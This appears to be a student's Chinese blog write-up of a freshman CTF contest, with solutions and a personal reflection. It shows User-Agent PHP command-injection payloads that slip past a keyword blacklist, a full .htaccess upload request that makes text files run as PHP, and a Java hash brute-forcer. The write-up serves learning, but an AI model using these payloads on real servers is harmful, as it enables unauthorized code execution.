WHUCTF新生赛WP,总结与废话

打完新生赛,贴一下第一次写的wp什么的

web

[0-Div3]User0Agent

先看看题目和提示

可以得知本题应该要考察使用抓包工具修改User-Agent为php语言的linux指令

url后面添加参数可以查看源码:

看不懂源码就扔给ai分析一下可以得知:

字符黑名单:”pattern_blacklist” => [‘primary’ => ‘/cat|flag|env/‘,’secondary’ => [‘../../‘,’/etc/‘,’//passwd/‘]]
白名单:”allowed_chars” => ‘/^[a-zA-Z0-9_-$=<>.”%s't+*\\\/]+$/‘

接下来先看看目录
User-Agent: system(‘ls /‘);

接着抓取flag,因为cat和flag在黑名单里所以使用转义拼接
User-Agent: system(“t”.”ac /fla”.”g”);
于是得到flag

[1-Div3]井字棋小游戏]

题目提示说F12没什么用但是交互小游戏不开F12怎么看js代码,于是看到一串超级长混淆过的js代码(忘记截图了)。
看不懂没关系可以扔给AI,然后AI帮我们分析得到

于是抓包修改为目标所需的POST请求

GET!!!

[1-Div1.5]apacherrr

这个题目我只能说对新手没那么友好,Blank重开了很多次容器然后有些细节询问了Kuri才做出来了,并且有一些奇怪的点很容易卡住!!!
题目描述了三个apache的配置,然后同样是看不懂就扔给AI分析吧

AI还是比较聪明的然后我们就可以得到一个大概思路了:通过上传.htaccess文件使得其他形式的上传文件可以执行php

下午补了提示说可以用.txt那我们就用.txt(然而谁能想到我各种形式都试过了呢)
然后可以用bp请求一下uploaderrr.com发现响应出一个upload.php,这个就是可以上传的点了。

然后上传一个.htaccess一个shell.txt可以交给AI那我们就交给AI写算了

这里要注意的是不要上传到根目录虽然AI分析完会说第三个配置里不限制.htaccess会推荐传到根目录但是实际上传到当前目录就行了

这是因为uploaderrr.com和whuctf2025.com的目录都在html下面,而既然最终根目录不限制其实就是整个目录都不限制了()并且上传也是存储在uploads下面hhh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /upload.php HTTP/1.1
Host: uploaderrr.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 320
Connection: close

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="userfile"; filename=".htaccess"
Content-Type: text/plain

# 启用重写引擎
RewriteEngine On

# 将所有.txt文件当作PHP执行
<FilesMatch "\.(txt|log|md|text)$">
SetHandler application/x-httpd-php
</FilesMatch>

# 强制PHP处理txt文件
AddType application/x-httpd-php .txt .log .md

# 禁用PHP安全模式(如果可能)
php_flag safe_mode off

# 允许执行系统命令
php_flag exec_dir none

# 设置最大执行时间
php_value max_execution_time 300
------WebKitFormBoundary7MA4YWxkTrZu0gW--

因为我是气急败坏跑了一个功能完整的上传了,所以实际上可能不需要这么长。
然后shell.txt的话我现在还不太会写一句话木马,所以也是在提示下写了这个弹出环境变量的。

1
2
3
4
5
6
7
8
9
10
11
POST /upload.php HTTP/1.1
Host: uploaderrr.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 380
Connection: close

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="userfile"; filename="config.txt"
Content-Type: text/plain
<?php phpinfo(); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

好的然后我们进行一个访问文件,非常要注意的是不要访问uploaderrr.com!!!
否则你就会跟Blank一样抓狂半天怀疑是不是传错了然后回去重传根目录(什么竟然连起来了)

我们可以回顾一下AI分析的配置,可以发现whuctf2025.com下面是有一个名为uploads的文件夹的。

这个地方也是稍微要分析一下,逻辑捋顺了不会兜圈子很久

于是用bp请求这个会弹出环境变量,然后搜索flag往下找找可以找到

[3-Div2]Guild

kuri师傅紧急上新题目,下载题目中的server.jar和群里上传的jadx-gui,查看jadx-gui的反编译出来的源码

反编译的代码看不懂扔给AI可以得知这个题目的用户名固定为admin

密码经过哈希加密但在/secret_r0uter中泄露了

访问这个路径可以看见加密后的数字

简单让AI跑个java代码然后解密出原密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import java.util.UUID;
public class PasswordCracker {
public static void main(String[] args) {
int targetHash = 38222;
long attempts = 0;
long startTime = System.currentTimeMillis();

System.out.println("开始破解哈希值: " + targetHash);
System.out.println("目标:找到 hashCode() % 65536 = " + targetHash + " 的UUID");
System.out.println("破解中... (按 Ctrl+C 停止)");
System.out.println("----------------------------------------");

try {
while (true) {
// 生成随机UUID
String uuid = UUID.randomUUID().toString();
// 计算哈希值
int hash = uuid.hashCode() % 65536;
attempts++;

// 检查是否匹配
if (hash == targetHash) {
long elapsedTime = System.currentTimeMillis() - startTime;
System.out.println("\n========================================");
System.out.println("🎉 破解成功!");
System.out.println("========================================");
System.out.println("原始密码: " + uuid);
System.out.println("计算哈希: " + hash);
System.out.println("尝试次数: " + attempts);
System.out.println("耗时: " + elapsedTime + "ms (" + (elapsedTime/1000.0) + "秒)");
System.out.println("平均速度: " + (attempts/(elapsedTime/1000.0)) + " 次/秒");
System.out.println("========================================");
System.out.println("\n使用以下凭证登录系统:");
System.out.println("用户名: admin");
System.out.println("密码: " + uuid);
break;
}

// 每10万次显示进度
if (attempts % 100000 == 0) {
long currentTime = System.currentTimeMillis();
long elapsed = currentTime - startTime;
double rate = attempts / (elapsed / 1000.0);
System.out.println("已尝试 " + attempts + " 次, 速度: " + String.format("%.0f", rate) + " 次/秒");
}
}
} catch (Exception e) {
System.out.println("程序被中断,已尝试 " + attempts + " 次");
}
}
}

登录以后F12查看源码即可
要注意的是要用java代码进行哈希破解不用python进行哈希

Blank在提示下用python跑哈希解码失败了,我只能说竟然还有误导真是太坏了。

[1-Div1]ZakoLogin

生死时速局,多谢kuri大人手速援助()看看题目

看出来这个token的提示已经非常多了就差把wp贴上来了,看起来很怕爆零了,我初步推测是token变化是有规律的可以预测然后趁着下次token变化之前提前发包。

至于怎么看token的变化规律就先发一百次包吧hhh()于是半小时内速下yakit然后发包提取一百次token

提取完token然后重开一个容器yakit拦截对照提取出来的表,在下一次token更新前进行拦截

手速局孩子们。然后复现的时候发现并不能完全靠手速这个地方要先算准10s的刷新时机然后再发包才行,重复100次发包可以增加概率。

成功以后查看响应可以看见我们要找的token,但是有了token还不够,所以我们需要找到正确的url请求flag,想想登录成功会发生什么于是看看js代码

js代码应该在app里面,找到登录成功字段后面的path

发送目标url的请求带上找到的token值就可以找到了。(哎其实我不是大哥哥这是可以说的吗)

misc

[0-Div3]猫咪日记01

B1ank啥也不知道哦但是随波逐流一把梭()

[0-Div3]梅林午餐肉

题目提示为:
【雪不雪花任君选择can crash bacon 不要再玩你那个雪了flag全小写,加上花括号,单词之间用下划线拼接如果玩雪的话密钥为snow】

(忘记截图了…)
猜测为培根密码和snow隐写,也可以不用snow

下载完查看文件发现

这里把c换成A依旧是随波逐流一把梭,单词之间加上下划线就行。

如果好奇snow的话可以

1
snow.exe -C -p meat.txt

(这里meat.txt使用实际路径地址)
解密完是C=A所以可以不玩雪。

最后想说一些话

总算忙完了,复现成功,wp也写完了,程序设计改完了,sqlmap也调好了。就很想写点什么纪念一下。

其实感觉还挺迷幻的,因为9.4号才拿到电脑,然后九月上旬开始零基础打ctf,打web的时间可能也就一个多月吧,能打到这个地步我确实是没想到的,差一题就ak了。比赛打完了以后就被邀请加入乐队了,真的挺迷幻的,虽然学长们都在夸我,但总是不踏实。因为我跟队里其他人的差距还是有点多的,也在想如果别的选手跟我一样死轴web会不会比我做的更好。但是,可能就是在那个点进web的瞬间,在好玩与打不出的爱恨交织下倔强下去,不会就打到会,于是就这样一直打下来了。

很累,特别累。

什么都不会,从零开始摸索,没看过csdn也没看过github,看文档能看半天。工具一点点下,一点点调,超级社恐和内耗,问学长的时候感觉自己啥也不会,就特别清晰地知道自己的能力不足,压力很大。想起来我两个星期前发post包还能发错,然后php水平烂的不行,前端三件套也只知道个大概,java更是一点没学。

忐忑,不安,整个人在秋季逐渐寒冷的空气里蒸发掉水分,变成搁浅在岸边不知所措的鱼。

就这样就开始打新生赛了。

纯坐牢,压力很大,夹在ct两位大佬之间,周围吸引了一堆学长,压力更爆了,简直无法思考,捋不清一条完整的逻辑链。其实没人的时候我反而更冷静,唉。div2一个题能坐三四个小时,apache踩坑闭环坐了六个小时,java现学先卖打了三个小时,zako生死时速甚至最后半小时bp不行开始下yakit,卡在最后一分半交了flag。

一直开玩笑自嘲说边哭边打边打边哭,有的时候是真的很想哭的,但最终还是笑一笑打下来了。

现在想一想新生赛确实还有很多要优化的地方,很多逻辑上再冷静一点捋一捋会更快,能优化出时间去打unser,但是最终——最终还是止步于此了。

好像也没什么别的说的了,只好接着push自己接着打接着学了,校赛再战。

校赛再战。


WHUCTF新生赛WP,总结与废话
http://example.com/2025/10/28/WHUCTF新生赛WP,总结与废话/
作者
Blank
发布于
2025年10月28日
许可协议